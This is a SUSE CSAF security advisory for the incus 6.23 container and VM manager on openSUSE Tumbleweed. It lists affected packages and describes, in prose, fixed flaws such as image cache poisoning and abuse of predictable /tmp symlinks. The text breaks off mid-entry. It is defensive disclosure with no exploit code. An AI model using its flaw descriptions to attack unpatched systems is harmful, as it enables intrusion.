Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:incus-zsh-completion-6.23-1.1.ppc64le | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:incus-zsh-completion-6.23-1.1.s390x | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:incus-zsh-completion-6.23-1.1.x86_64 | — |
Vendor Fix
|
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: openSUSE Tumbleweed:incus-6.23-1.1.aarch64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:incus-6.23-1.1.ppc64le | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:incus-6.23-1.1.s390x | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:incus-6.23-1.1.x86_64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:incus-bash-completion-6.23-1.1.aarch64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:incus-bash-completion-6.23-1.1.ppc64le | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:incus-bash-completion-6.23-1.1.s390x | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:incus-bash-completion-6.23-1.1.x86_64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:incus-fish-completion-6.23-1.1.aarch64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:incus-fish-completion-6.23-1.1.ppc64le | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:incus-fish-completion-6.23-1.1.s390x | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:incus-fish-completion-6.23-1.1.x86_64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:incus-tools-6.23-1.1.aarch64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:incus-tools-6.23-1.1.ppc64le | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:incus-tools-6.23-1.1.s390x | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:incus-tools-6.23-1.1.x86_64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:incus-zsh-completion-6.23-1.1.aarch64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:incus-zsh-completion-6.23-1.1.ppc64le | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:incus-zsh-completion-6.23-1.1.s390x | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:incus-zsh-completion-6.23-1.1.x86_64 | — |
Vendor Fix
|
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: openSUSE Tumbleweed:incus-6.23-1.1.aarch64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:incus-6.23-1.1.ppc64le | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:incus-6.23-1.1.s390x | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:incus-6.23-1.1.x86_64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:incus-bash-completion-6.23-1.1.aarch64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:incus-bash-completion-6.23-1.1.ppc64le | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:incus-bash-completion-6.23-1.1.s390x | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:incus-bash-completion-6.23-1.1.x86_64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:incus-fish-completion-6.23-1.1.aarch64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:incus-fish-completion-6.23-1.1.ppc64le | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:incus-fish-completion-6.23-1.1.s390x | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:incus-fish-completion-6.23-1.1.x86_64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:incus-tools-6.23-1.1.aarch64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:incus-tools-6.23-1.1.ppc64le | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:incus-tools-6.23-1.1.s390x | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:incus-tools-6.23-1.1.x86_64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:incus-zsh-completion-6.23-1.1.aarch64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:incus-zsh-completion-6.23-1.1.ppc64le | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:incus-zsh-completion-6.23-1.1.s390x | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:incus-zsh-completion-6.23-1.1.x86_64 | — |
Vendor Fix
|
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: openSUSE Tumbleweed:incus-6.23-1.1.aarch64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:incus-6.23-1.1.ppc64le | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:incus-6.23-1.1.s390x | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:incus-6.23-1.1.x86_64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:incus-bash-completion-6.23-1.1.aarch64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:incus-bash-completion-6.23-1.1.ppc64le | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:incus-bash-completion-6.23-1.1.s390x | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:incus-bash-completion-6.23-1.1.x86_64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:incus-fish-completion-6.23-1.1.aarch64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:incus-fish-completion-6.23-1.1.ppc64le | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:incus-fish-completion-6.23-1.1.s390x | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:incus-fish-completion-6.23-1.1.x86_64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:incus-tools-6.23-1.1.aarch64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:incus-tools-6.23-1.1.ppc64le | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:incus-tools-6.23-1.1.s390x | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:incus-tools-6.23-1.1.x86_64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:incus-zsh-completion-6.23-1.1.aarch64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:incus-zsh-completion-6.23-1.1.ppc64le | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:incus-zsh-completion-6.23-1.1.s390x | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:incus-zsh-completion-6.23-1.1.x86_64 | — |
Vendor Fix
|
| Product | Identifier | Version | Remediation |
|---|---|---|---|
| Unresolved product id: openSUSE Tumbleweed:incus-6.23-1.1.aarch64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:incus-6.23-1.1.ppc64le | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:incus-6.23-1.1.s390x | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:incus-6.23-1.1.x86_64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:incus-bash-completion-6.23-1.1.aarch64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:incus-bash-completion-6.23-1.1.ppc64le | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:incus-bash-completion-6.23-1.1.s390x | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:incus-bash-completion-6.23-1.1.x86_64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:incus-fish-completion-6.23-1.1.aarch64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:incus-fish-completion-6.23-1.1.ppc64le | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:incus-fish-completion-6.23-1.1.s390x | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:incus-fish-completion-6.23-1.1.x86_64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:incus-tools-6.23-1.1.aarch64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:incus-tools-6.23-1.1.ppc64le | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:incus-tools-6.23-1.1.s390x | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:incus-tools-6.23-1.1.x86_64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:incus-zsh-completion-6.23-1.1.aarch64 | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:incus-zsh-completion-6.23-1.1.ppc64le | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:incus-zsh-completion-6.23-1.1.s390x | — |
Vendor Fix
|
|
| Unresolved product id: openSUSE Tumbleweed:incus-zsh-completion-6.23-1.1.x86_64 | — |
Vendor Fix
|
{
"document": {
"aggregate_severity": {
"namespace": "https://www.suse.com/support/security/rating/",
"text": "moderate"
},
"category": "csaf_security_advisory",
"csaf_version": "2.0",
"distribution": {
"text": "Copyright 2024 SUSE LLC. All rights reserved.",
"tlp": {
"label": "WHITE",
"url": "https://www.first.org/tlp/"
}
},
"lang": "en",
"notes": [
{
"category": "summary",
"text": "incus-6.23-1.1 on GA media",
"title": "Title of the patch"
},
{
"category": "description",
"text": "These are all security issues fixed in the incus-6.23-1.1 package on the GA media of openSUSE Tumbleweed.",
"title": "Description of the patch"
},
{
"category": "details",
"text": "openSUSE-Tumbleweed-2026-10450",
"title": "Patchnames"
},
{
"category": "legal_disclaimer",
"text": "CSAF 2.0 data is provided by SUSE under the Creative Commons License 4.0 with Attribution (CC-BY-4.0).",
"title": "Terms of use"
}
],
"publisher": {
"category": "vendor",
"contact_details": "https://www.suse.com/support/security/contact/",
"name": "SUSE Product Security Team",
"namespace": "https://www.suse.com/"
},
"references": [
{
"category": "external",
"summary": "SUSE ratings",
"url": "https://www.suse.com/support/security/rating/"
},
{
"category": "self",
"summary": "URL of this CSAF notice",
"url": "https://ftp.suse.com/pub/projects/security/csaf/opensuse-su-2026_10450-1.json"
},
{
"category": "self",
"summary": "SUSE CVE CVE-2026-33542 page",
"url": "https://www.suse.com/security/cve/CVE-2026-33542/"
},
{
"category": "self",
"summary": "SUSE CVE CVE-2026-33711 page",
"url": "https://www.suse.com/security/cve/CVE-2026-33711/"
},
{
"category": "self",
"summary": "SUSE CVE CVE-2026-33743 page",
"url": "https://www.suse.com/security/cve/CVE-2026-33743/"
},
{
"category": "self",
"summary": "SUSE CVE CVE-2026-33897 page",
"url": "https://www.suse.com/security/cve/CVE-2026-33897/"
},
{
"category": "self",
"summary": "SUSE CVE CVE-2026-33898 page",
"url": "https://www.suse.com/security/cve/CVE-2026-33898/"
},
{
"category": "self",
"summary": "SUSE CVE CVE-2026-33945 page",
"url": "https://www.suse.com/security/cve/CVE-2026-33945/"
}
],
"title": "incus-6.23-1.1 on GA media",
"tracking": {
"current_release_date": "2026-03-28T00:00:00Z",
"generator": {
"date": "2026-03-28T00:00:00Z",
"engine": {
"name": "cve-database.git:bin/generate-csaf.pl",
"version": "1"
}
},
"id": "openSUSE-SU-2026:10450-1",
"initial_release_date": "2026-03-28T00:00:00Z",
"revision_history": [
{
"date": "2026-03-28T00:00:00Z",
"number": "1",
"summary": "Current version"
}
],
"status": "final",
"version": "1"
}
},
"product_tree": {
"branches": [
{
"branches": [
{
"branches": [
{
"category": "product_version",
"name": "incus-6.23-1.1.aarch64",
"product": {
"name": "incus-6.23-1.1.aarch64",
"product_id": "incus-6.23-1.1.aarch64"
}
},
{
"category": "product_version",
"name": "incus-bash-completion-6.23-1.1.aarch64",
"product": {
"name": "incus-bash-completion-6.23-1.1.aarch64",
"product_id": "incus-bash-completion-6.23-1.1.aarch64"
}
},
{
"category": "product_version",
"name": "incus-fish-completion-6.23-1.1.aarch64",
"product": {
"name": "incus-fish-completion-6.23-1.1.aarch64",
"product_id": "incus-fish-completion-6.23-1.1.aarch64"
}
},
{
"category": "product_version",
"name": "incus-tools-6.23-1.1.aarch64",
"product": {
"name": "incus-tools-6.23-1.1.aarch64",
"product_id": "incus-tools-6.23-1.1.aarch64"
}
},
{
"category": "product_version",
"name": "incus-zsh-completion-6.23-1.1.aarch64",
"product": {
"name": "incus-zsh-completion-6.23-1.1.aarch64",
"product_id": "incus-zsh-completion-6.23-1.1.aarch64"
}
}
],
"category": "architecture",
"name": "aarch64"
},
{
"branches": [
{
"category": "product_version",
"name": "incus-6.23-1.1.ppc64le",
"product": {
"name": "incus-6.23-1.1.ppc64le",
"product_id": "incus-6.23-1.1.ppc64le"
}
},
{
"category": "product_version",
"name": "incus-bash-completion-6.23-1.1.ppc64le",
"product": {
"name": "incus-bash-completion-6.23-1.1.ppc64le",
"product_id": "incus-bash-completion-6.23-1.1.ppc64le"
}
},
{
"category": "product_version",
"name": "incus-fish-completion-6.23-1.1.ppc64le",
"product": {
"name": "incus-fish-completion-6.23-1.1.ppc64le",
"product_id": "incus-fish-completion-6.23-1.1.ppc64le"
}
},
{
"category": "product_version",
"name": "incus-tools-6.23-1.1.ppc64le",
"product": {
"name": "incus-tools-6.23-1.1.ppc64le",
"product_id": "incus-tools-6.23-1.1.ppc64le"
}
},
{
"category": "product_version",
"name": "incus-zsh-completion-6.23-1.1.ppc64le",
"product": {
"name": "incus-zsh-completion-6.23-1.1.ppc64le",
"product_id": "incus-zsh-completion-6.23-1.1.ppc64le"
}
}
],
"category": "architecture",
"name": "ppc64le"
},
{
"branches": [
{
"category": "product_version",
"name": "incus-6.23-1.1.s390x",
"product": {
"name": "incus-6.23-1.1.s390x",
"product_id": "incus-6.23-1.1.s390x"
}
},
{
"category": "product_version",
"name": "incus-bash-completion-6.23-1.1.s390x",
"product": {
"name": "incus-bash-completion-6.23-1.1.s390x",
"product_id": "incus-bash-completion-6.23-1.1.s390x"
}
},
{
"category": "product_version",
"name": "incus-fish-completion-6.23-1.1.s390x",
"product": {
"name": "incus-fish-completion-6.23-1.1.s390x",
"product_id": "incus-fish-completion-6.23-1.1.s390x"
}
},
{
"category": "product_version",
"name": "incus-tools-6.23-1.1.s390x",
"product": {
"name": "incus-tools-6.23-1.1.s390x",
"product_id": "incus-tools-6.23-1.1.s390x"
}
},
{
"category": "product_version",
"name": "incus-zsh-completion-6.23-1.1.s390x",
"product": {
"name": "incus-zsh-completion-6.23-1.1.s390x",
"product_id": "incus-zsh-completion-6.23-1.1.s390x"
}
}
],
"category": "architecture",
"name": "s390x"
},
{
"branches": [
{
"category": "product_version",
"name": "incus-6.23-1.1.x86_64",
"product": {
"name": "incus-6.23-1.1.x86_64",
"product_id": "incus-6.23-1.1.x86_64"
}
},
{
"category": "product_version",
"name": "incus-bash-completion-6.23-1.1.x86_64",
"product": {
"name": "incus-bash-completion-6.23-1.1.x86_64",
"product_id": "incus-bash-completion-6.23-1.1.x86_64"
}
},
{
"category": "product_version",
"name": "incus-fish-completion-6.23-1.1.x86_64",
"product": {
"name": "incus-fish-completion-6.23-1.1.x86_64",
"product_id": "incus-fish-completion-6.23-1.1.x86_64"
}
},
{
"category": "product_version",
"name": "incus-tools-6.23-1.1.x86_64",
"product": {
"name": "incus-tools-6.23-1.1.x86_64",
"product_id": "incus-tools-6.23-1.1.x86_64"
}
},
{
"category": "product_version",
"name": "incus-zsh-completion-6.23-1.1.x86_64",
"product": {
"name": "incus-zsh-completion-6.23-1.1.x86_64",
"product_id": "incus-zsh-completion-6.23-1.1.x86_64"
}
}
],
"category": "architecture",
"name": "x86_64"
},
{
"branches": [
{
"category": "product_name",
"name": "openSUSE Tumbleweed",
"product": {
"name": "openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed",
"product_identification_helper": {
"cpe": "cpe:/o:opensuse:tumbleweed"
}
}
}
],
"category": "product_family",
"name": "SUSE Linux Enterprise"
}
],
"category": "vendor",
"name": "SUSE"
}
],
"relationships": [
{
"category": "default_component_of",
"full_product_name": {
"name": "incus-6.23-1.1.aarch64 as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:incus-6.23-1.1.aarch64"
},
"product_reference": "incus-6.23-1.1.aarch64",
"relates_to_product_reference": "openSUSE Tumbleweed"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "incus-6.23-1.1.ppc64le as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:incus-6.23-1.1.ppc64le"
},
"product_reference": "incus-6.23-1.1.ppc64le",
"relates_to_product_reference": "openSUSE Tumbleweed"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "incus-6.23-1.1.s390x as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:incus-6.23-1.1.s390x"
},
"product_reference": "incus-6.23-1.1.s390x",
"relates_to_product_reference": "openSUSE Tumbleweed"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "incus-6.23-1.1.x86_64 as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:incus-6.23-1.1.x86_64"
},
"product_reference": "incus-6.23-1.1.x86_64",
"relates_to_product_reference": "openSUSE Tumbleweed"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "incus-bash-completion-6.23-1.1.aarch64 as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:incus-bash-completion-6.23-1.1.aarch64"
},
"product_reference": "incus-bash-completion-6.23-1.1.aarch64",
"relates_to_product_reference": "openSUSE Tumbleweed"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "incus-bash-completion-6.23-1.1.ppc64le as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:incus-bash-completion-6.23-1.1.ppc64le"
},
"product_reference": "incus-bash-completion-6.23-1.1.ppc64le",
"relates_to_product_reference": "openSUSE Tumbleweed"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "incus-bash-completion-6.23-1.1.s390x as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:incus-bash-completion-6.23-1.1.s390x"
},
"product_reference": "incus-bash-completion-6.23-1.1.s390x",
"relates_to_product_reference": "openSUSE Tumbleweed"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "incus-bash-completion-6.23-1.1.x86_64 as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:incus-bash-completion-6.23-1.1.x86_64"
},
"product_reference": "incus-bash-completion-6.23-1.1.x86_64",
"relates_to_product_reference": "openSUSE Tumbleweed"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "incus-fish-completion-6.23-1.1.aarch64 as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:incus-fish-completion-6.23-1.1.aarch64"
},
"product_reference": "incus-fish-completion-6.23-1.1.aarch64",
"relates_to_product_reference": "openSUSE Tumbleweed"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "incus-fish-completion-6.23-1.1.ppc64le as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:incus-fish-completion-6.23-1.1.ppc64le"
},
"product_reference": "incus-fish-completion-6.23-1.1.ppc64le",
"relates_to_product_reference": "openSUSE Tumbleweed"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "incus-fish-completion-6.23-1.1.s390x as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:incus-fish-completion-6.23-1.1.s390x"
},
"product_reference": "incus-fish-completion-6.23-1.1.s390x",
"relates_to_product_reference": "openSUSE Tumbleweed"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "incus-fish-completion-6.23-1.1.x86_64 as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:incus-fish-completion-6.23-1.1.x86_64"
},
"product_reference": "incus-fish-completion-6.23-1.1.x86_64",
"relates_to_product_reference": "openSUSE Tumbleweed"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "incus-tools-6.23-1.1.aarch64 as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:incus-tools-6.23-1.1.aarch64"
},
"product_reference": "incus-tools-6.23-1.1.aarch64",
"relates_to_product_reference": "openSUSE Tumbleweed"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "incus-tools-6.23-1.1.ppc64le as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:incus-tools-6.23-1.1.ppc64le"
},
"product_reference": "incus-tools-6.23-1.1.ppc64le",
"relates_to_product_reference": "openSUSE Tumbleweed"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "incus-tools-6.23-1.1.s390x as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:incus-tools-6.23-1.1.s390x"
},
"product_reference": "incus-tools-6.23-1.1.s390x",
"relates_to_product_reference": "openSUSE Tumbleweed"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "incus-tools-6.23-1.1.x86_64 as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:incus-tools-6.23-1.1.x86_64"
},
"product_reference": "incus-tools-6.23-1.1.x86_64",
"relates_to_product_reference": "openSUSE Tumbleweed"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "incus-zsh-completion-6.23-1.1.aarch64 as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:incus-zsh-completion-6.23-1.1.aarch64"
},
"product_reference": "incus-zsh-completion-6.23-1.1.aarch64",
"relates_to_product_reference": "openSUSE Tumbleweed"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "incus-zsh-completion-6.23-1.1.ppc64le as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:incus-zsh-completion-6.23-1.1.ppc64le"
},
"product_reference": "incus-zsh-completion-6.23-1.1.ppc64le",
"relates_to_product_reference": "openSUSE Tumbleweed"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "incus-zsh-completion-6.23-1.1.s390x as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:incus-zsh-completion-6.23-1.1.s390x"
},
"product_reference": "incus-zsh-completion-6.23-1.1.s390x",
"relates_to_product_reference": "openSUSE Tumbleweed"
},
{
"category": "default_component_of",
"full_product_name": {
"name": "incus-zsh-completion-6.23-1.1.x86_64 as component of openSUSE Tumbleweed",
"product_id": "openSUSE Tumbleweed:incus-zsh-completion-6.23-1.1.x86_64"
},
"product_reference": "incus-zsh-completion-6.23-1.1.x86_64",
"relates_to_product_reference": "openSUSE Tumbleweed"
}
]
},
"vulnerabilities": [
{
"cve": "CVE-2026-33542",
"ids": [
{
"system_name": "SUSE CVE Page",
"text": "https://www.suse.com/security/cve/CVE-2026-33542"
}
],
"notes": [
{
"category": "general",
"text": "Incus is a system container and virtual machine manager. Prior to version 6.23.0, a lack of validation of the image fingerprint when downloading from simplestreams image servers opens the door to image cache poisoning and under very narrow circumstances exposes other tenants to running attacker controlled images rather than the expected one. Version 6.23.0 patches the issue.",
"title": "CVE description"
}
],
"product_status": {
"recommended": [
"openSUSE Tumbleweed:incus-6.23-1.1.aarch64",
"openSUSE Tumbleweed:incus-6.23-1.1.ppc64le",
"openSUSE Tumbleweed:incus-6.23-1.1.s390x",
"openSUSE Tumbleweed:incus-6.23-1.1.x86_64",
"openSUSE Tumbleweed:incus-bash-completion-6.23-1.1.aarch64",
"openSUSE Tumbleweed:incus-bash-completion-6.23-1.1.ppc64le",
"openSUSE Tumbleweed:incus-bash-completion-6.23-1.1.s390x",
"openSUSE Tumbleweed:incus-bash-completion-6.23-1.1.x86_64",
"openSUSE Tumbleweed:incus-fish-completion-6.23-1.1.aarch64",
"openSUSE Tumbleweed:incus-fish-completion-6.23-1.1.ppc64le",
"openSUSE Tumbleweed:incus-fish-completion-6.23-1.1.s390x",
"openSUSE Tumbleweed:incus-fish-completion-6.23-1.1.x86_64",
"openSUSE Tumbleweed:incus-tools-6.23-1.1.aarch64",
"openSUSE Tumbleweed:incus-tools-6.23-1.1.ppc64le",
"openSUSE Tumbleweed:incus-tools-6.23-1.1.s390x",
"openSUSE Tumbleweed:incus-tools-6.23-1.1.x86_64",
"openSUSE Tumbleweed:incus-zsh-completion-6.23-1.1.aarch64",
"openSUSE Tumbleweed:incus-zsh-completion-6.23-1.1.ppc64le",
"openSUSE Tumbleweed:incus-zsh-completion-6.23-1.1.s390x",
"openSUSE Tumbleweed:incus-zsh-completion-6.23-1.1.x86_64"
]
},
"references": [
{
"category": "external",
"summary": "CVE-2026-33542",
"url": "https://www.suse.com/security/cve/CVE-2026-33542"
},
{
"category": "external",
"summary": "SUSE Bug 1260939 for CVE-2026-33542",
"url": "https://bugzilla.suse.com/1260939"
}
],
"remediations": [
{
"category": "vendor_fix",
"details": "To install this SUSE Security Update use the SUSE recommended installation methods like YaST online_update or \"zypper patch\".\n",
"product_ids": [
"openSUSE Tumbleweed:incus-6.23-1.1.aarch64",
"openSUSE Tumbleweed:incus-6.23-1.1.ppc64le",
"openSUSE Tumbleweed:incus-6.23-1.1.s390x",
"openSUSE Tumbleweed:incus-6.23-1.1.x86_64",
"openSUSE Tumbleweed:incus-bash-completion-6.23-1.1.aarch64",
"openSUSE Tumbleweed:incus-bash-completion-6.23-1.1.ppc64le",
"openSUSE Tumbleweed:incus-bash-completion-6.23-1.1.s390x",
"openSUSE Tumbleweed:incus-bash-completion-6.23-1.1.x86_64",
"openSUSE Tumbleweed:incus-fish-completion-6.23-1.1.aarch64",
"openSUSE Tumbleweed:incus-fish-completion-6.23-1.1.ppc64le",
"openSUSE Tumbleweed:incus-fish-completion-6.23-1.1.s390x",
"openSUSE Tumbleweed:incus-fish-completion-6.23-1.1.x86_64",
"openSUSE Tumbleweed:incus-tools-6.23-1.1.aarch64",
"openSUSE Tumbleweed:incus-tools-6.23-1.1.ppc64le",
"openSUSE Tumbleweed:incus-tools-6.23-1.1.s390x",
"openSUSE Tumbleweed:incus-tools-6.23-1.1.x86_64",
"openSUSE Tumbleweed:incus-zsh-completion-6.23-1.1.aarch64",
"openSUSE Tumbleweed:incus-zsh-completion-6.23-1.1.ppc64le",
"openSUSE Tumbleweed:incus-zsh-completion-6.23-1.1.s390x",
"openSUSE Tumbleweed:incus-zsh-completion-6.23-1.1.x86_64"
]
}
],
"scores": [
{
"cvss_v3": {
"baseScore": 6.4,
"baseSeverity": "MEDIUM",
"vectorString": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:C/C:L/I:H/A:N",
"version": "3.1"
},
"products": [
"openSUSE Tumbleweed:incus-6.23-1.1.aarch64",
"openSUSE Tumbleweed:incus-6.23-1.1.ppc64le",
"openSUSE Tumbleweed:incus-6.23-1.1.s390x",
"openSUSE Tumbleweed:incus-6.23-1.1.x86_64",
"openSUSE Tumbleweed:incus-bash-completion-6.23-1.1.aarch64",
"openSUSE Tumbleweed:incus-bash-completion-6.23-1.1.ppc64le",
"openSUSE Tumbleweed:incus-bash-completion-6.23-1.1.s390x",
"openSUSE Tumbleweed:incus-bash-completion-6.23-1.1.x86_64",
"openSUSE Tumbleweed:incus-fish-completion-6.23-1.1.aarch64",
"openSUSE Tumbleweed:incus-fish-completion-6.23-1.1.ppc64le",
"openSUSE Tumbleweed:incus-fish-completion-6.23-1.1.s390x",
"openSUSE Tumbleweed:incus-fish-completion-6.23-1.1.x86_64",
"openSUSE Tumbleweed:incus-tools-6.23-1.1.aarch64",
"openSUSE Tumbleweed:incus-tools-6.23-1.1.ppc64le",
"openSUSE Tumbleweed:incus-tools-6.23-1.1.s390x",
"openSUSE Tumbleweed:incus-tools-6.23-1.1.x86_64",
"openSUSE Tumbleweed:incus-zsh-completion-6.23-1.1.aarch64",
"openSUSE Tumbleweed:incus-zsh-completion-6.23-1.1.ppc64le",
"openSUSE Tumbleweed:incus-zsh-completion-6.23-1.1.s390x",
"openSUSE Tumbleweed:incus-zsh-completion-6.23-1.1.x86_64"
]
}
],
"threats": [
{
"category": "impact",
"date": "2026-03-28T00:00:00Z",
"details": "moderate"
}
],
"title": "CVE-2026-33542"
},
{
"cve": "CVE-2026-33711",
"ids": [
{
"system_name": "SUSE CVE Page",
"text": "https://www.suse.com/security/cve/CVE-2026-33711"
}
],
"notes": [
{
"category": "general",
"text": "Incus is a system container and virtual machine manager. Incus provides an API to retrieve VM screenshots. That API relies on the use of a temporary file for QEMU to write the screenshot to which is then picked up and sent to the user prior to deletion. As versions prior to 6.23.0 use predictable paths under /tmp for this, an attacker with local access to the system can abuse this mechanism by creating their own symlinks ahead of time. On the vast majority of Linux systems, this will result in a \"Permission denied\" error when requesting a screenshot. That\u0027s because the Linux kernel has a security feature designed to block such attacks, `protected_symlinks`. On the rare systems with this purposefully disabled, it\u0027s then possible to trick Incus intro truncating and altering the mode and permissions of arbitrary files on the filesystem, leading to a potential denial of service or possible local privilege escalation. Version 6.23.0 fixes the issue.",
"title": "CVE description"
}
],
"product_status": {
"recommended": [
"openSUSE Tumbleweed:incus-6.23-1.1.aarch64",
"openSUSE Tumbleweed:incus-6.23-1.1.ppc64le",
